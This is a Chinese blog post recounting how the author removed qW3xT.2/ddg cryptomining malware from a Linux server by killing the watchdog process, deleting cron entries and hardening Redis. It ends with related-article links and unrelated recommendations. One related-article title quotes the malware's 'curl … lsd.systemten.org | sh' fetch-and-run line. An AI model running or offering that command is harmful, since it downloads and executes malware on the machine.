qW3xT.2挖矿病毒 解决过程及坑
周一早上老大让我把项目更新一下,然后配置一下elasticsearch,我登上服务器之后部署的时候没有什么感觉,但是在配置elasticsearch的过程中感觉服务器哪个地方有点不对,下意识的top了一下,不看不知道一看吓一跳,一个进程竟然占了400的CPU
首先想到谁登服务器搞了什么鬼,毕竟不是我一个人在用这个服务器,没敢贸然杀死,上网查了一下发现很多朋友都遇到了这个问题,说是一个挖矿的病毒,然后就上网一通乱找,一通乱看,最后大致了解到了解决办法,总共应该分这几步吧:
1:首先找到它的来源,从哪里进来的,从根本上杜绝这种事情的再发生
2:找到他的守护进程,并把它干掉、干掉、干掉。一定要干干净了
我想先找到这个进程从哪里运行的,就是他的脚本文件到底在哪,我top之后知道了他的PID
接下来就根据PID来找他的位置
Linux在启动一个进程的时候,系统会在/porc下创建一个以PID为名称的文件夹,在这个文件夹下有这个进程的详细信息,我们进去看一下
cwd符号链接的是进程运行目录;
exe符号连接就是执行程序的绝对路径;
cmdline就是程序运行时输入的命令行命令;
environ记录了进程运行时的环境变量;
fd目录下是进程打开或使用的文件的符号连接。
我们看exe后面的绝对路径,进去之后会发现
里面有两个可执行文件,其中一个就是qW3xT.2 不多说,直接干掉,然后杀死这个进程,但是当你杀死之后一分钟左右还是会蹦出来,这是怎么回事,原来还有一个唤醒线程,这个很重要,如果你只杀死了主进程就以为万事大吉了,那你错了,另一个线程依然会把这个进程复活,而且这个进程只有在主进程杀死以后才会出现,一旦主线程激活之后这个线程就找不到了,所以先杀死主线程,然后找到唤醒线程,一次干掉他们
OK 到这里基本上这玩意儿就没了,我默默的看着top出来的结果YY起来,然后我就傻逼了,他又出来了
这尼玛,还干不掉你了,我明明已经把执行文件都删除了它怎么又冒出来了,从哪来的呢?明明删除了不会无缘无故的出来,经过一番查找,终于发现了一个地方/var/spool/cron 在这个路径下面有一个文件和目录
目录里面放的和外面放的是一样的两个root文件,我看了看里面的内容,是个下载链接,这个时候我还是不敢轻易删除,我把这个链接直接在本地打开看了一下
妹的,是个脚本文件,而且根据里面的内容可以发现就是那个文件,不多说了,直接干掉
这次没东西再去下载文件了这次总没事了吧,我静静等了两分钟。。。。它又出来了。。。。。。
有了之前的思路,我想了一下直接开始找root文件,全局搜索,一下出来了一大堆,然后慢慢找,看到/etc/cron.d/root 这个有点眼熟,跟上次干掉的那么像呢,就看了一下里面内容
又是这个链接,虽然有点看不懂,但是管不了这么多了,直接干掉吧
这次总行了吧,坚持了两分钟。。。。又出来了
然后一通乱查,就是不知道问题出在哪了,最后想到了一个问题,守护进程,我每次杀的时候都是直接杀的病毒,然而守护进程我一直没有动它,问题可能就出在这儿了,ps –ef|grep ddg 查看进程果然在,直接干掉,然后再重复之前的操作,找文件删除,杀死病毒挖矿进程,然后监测守护进程会不会活
终于。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
它这次好像彻底死了
总结:
1:找到启动文件在哪,干掉
2:找到远程连接下载脚本的文件干掉,这个过程中如果能大体判断文件名直接全局查找,然后找到可疑文件,看看内容有问题直接干掉
3:先干掉守护进程,再干掉挖矿进程 (切记守护进程一定要干掉)
第一步和第三步两个要反复查看,无论是启动文件在或者进程在都会再次复活
当然我们还要避免类似事情再发生,还是要追究根源,网上说的是Redis的问题,我之前一直将信将疑的没有往上写,但是在杀的过程中,几个文件中确实看到了关于Redis的字眼,从此判断确实可能是Redis的问题,所以我们要对Redis的配置做出修改,使它更加安全,比如:修改Redis的默认端口,修改成繁琐的密码
这一步最好是在你杀毒之前做好,毕竟说这是根源,万一你在杀毒的过程中通过Redis再对你进行什么操作这应该不是不可能的,毕竟你漏洞在哪,不修补总是会出现问题的
最后在补充一点小东西,有些在植入病毒之后不仅使用你的资源,还会登录你的账号,你可以查看一下 /etc/passwd 看看有没有你不认识的账号(不包含系统内置账号,系统内置账号你干掉那可别怪我),有的话直接禁止登录,或者直接删除掉都行
安全问题看来是很严峻啊,之前也是没有遇见过这种问题,写下文章记录我在解决这个问题的全过程以及遇到的一些坑
qW3xT.2挖矿病毒 解决过程及坑的更多相关文章
- qW3xT.2挖矿病毒处理方案
我遇到的是一款qW3xT.2的病毒,网上查了一下,好像是挖矿病毒.在此贴一下我找到的关于病毒的资料.这是我的服务器 这篇文章可谓是出自高手之笔,感觉说的很厉害,但是非专业人士的我有点看不懂,看个大概 ...
- 阿里云 qW3xT.4 挖矿病毒问题
查了一下.是个挖矿病毒,cpu 占用巨高 .杀了又有守护进程启动.网上有些杀死这个病毒的办法,大家可以试试.但是不确定能杀死. 建议直接重装系统. 然后,说说这货怎么传播的. 他通过redis .目前 ...
- linux 服务器被植入ddgs、qW3xT.2挖矿病毒处理记录
被入侵后的现象: 发现有qW3xT.2与ddgs两个异常进程,消耗了较高的cpu,kill掉后 过一会就会重新出现. kill 掉这两个异常进程后,过一段时间看到了如下进程: 首先在/etc/sysc ...
- Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)
概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...
- 记一次生产主机中挖矿病毒"kintegrityds"处理过程!
[记一次生产挖矿病毒处理过程]: 可能性:webaap用户密码泄露.Jenkins/redis弱口令等. 1.监控到生产主机一直load告警 2.进服务器 top查看进程,发现挖矿病毒进程,此进程持续 ...
- Window应急响应(六):NesMiner挖矿病毒
0x00 前言 作为一个运维工程师,而非一个专业的病毒分析工程师,遇到了比较复杂的病毒怎么办?别怕,虽然对二进制不熟,但是依靠系统运维的经验,我们可以用自己的方式来解决它. 0x01 感染现象 1.向 ...
- qW3xT.2,解决挖矿病毒。
网站在运行期间感觉怪怪的,响应速度慢的不是一丁半点,带宽5M,不该是这样的呀 于是登录Xshell top命令 查看cpu情况如下 PID为3435的进程占用CPU过大,难道被病毒入侵了吗? 查看该进 ...
- qW3xT.2,解决挖矿病毒
在阿里云使用redis,开启了6379端口,但是当时并没有对redis的密码进行设置. 在晚上一点左右.阿里云给我发短信,告诉我服务器出现紧急安全事件.建议登录云盾-态势感知控制台查看详情和处理. 于 ...
- 记一次 qW3xT.4,解决挖矿病毒。
最近感觉我的服务器特别卡,打开数据库都半天,刚开始以为网咯不好也没太在意. 利用top命令: 这时候问题出来了,最高cpu占用100%,那我用啥??? 根据进程id 一看究竟,ps -ef|grep ...
随机推荐
- numpy.tile()
numpy.tile()是个什么函数呢,说白了,就是把数组沿各个方向复制 比如 a = np.array([0,1,2]), np.tile(a,(2,1))就是把a先沿x轴(就这样称呼吧)复制 ...
- webpack打包出错,通过babel将es6转es5的出错。
错误信息如下: 解决方法: 1,先安装babel-preset-es2015到项目中, cnpm install babel-preset-es2015 --save-dev2,在项目根目录中新建一个 ...
- Problem 42
Problem 42 https://projecteuler.net/problem=42 The nth term of the sequence of triangle numbers is g ...
- 第十节:pandas之loc()、iloc()与ix()索引
- Git:分支的创建、合并、管理和删除
了解分支 如果想实现多人协作.划出Bug区.Feature区等功能,就需要分支功能.(确实很强大的地方) 每次commit时,Git都把它们串成一条时间线,这条时间线就是一个分支.截止到目前,只有一条 ...
- 精彩的linux shell 命令
1. Star Wars (telnet) telnet是基于Telnet协议的远程登录客户端程序,经常用来远程登录服务器.除此还可以用它来观看星球大战: telnet towel.blinken ...
- zoj 3693
#include<stdio.h> #include<string.h>//进位问题如3.985 应该进位3.99 int main() { int n,k,i; ...
- [bzoj2989]数列_KD-Tree_旋转坐标系
数列 bzoj-2989 题目大意:题目链接. 注释:略. 想法:显然,我们用x和a[x]两个值建立笛卡尔坐标系. 两个点之间的距离为曼哈顿距离. 修改操作就是插入... 查询操作就是查询一个点周围的 ...
- JQuery获取select选中值和清除选中状态(转)
1.获取值 var provinceSearch = $("#loc_province_search").find("option:selected").att ...
- Java UDP通信简单实现
1.Java实现方式 1)server端 /** * UDPserver端 * */ public class UdpServer { // 定义一些常量 private final intMAX_L ...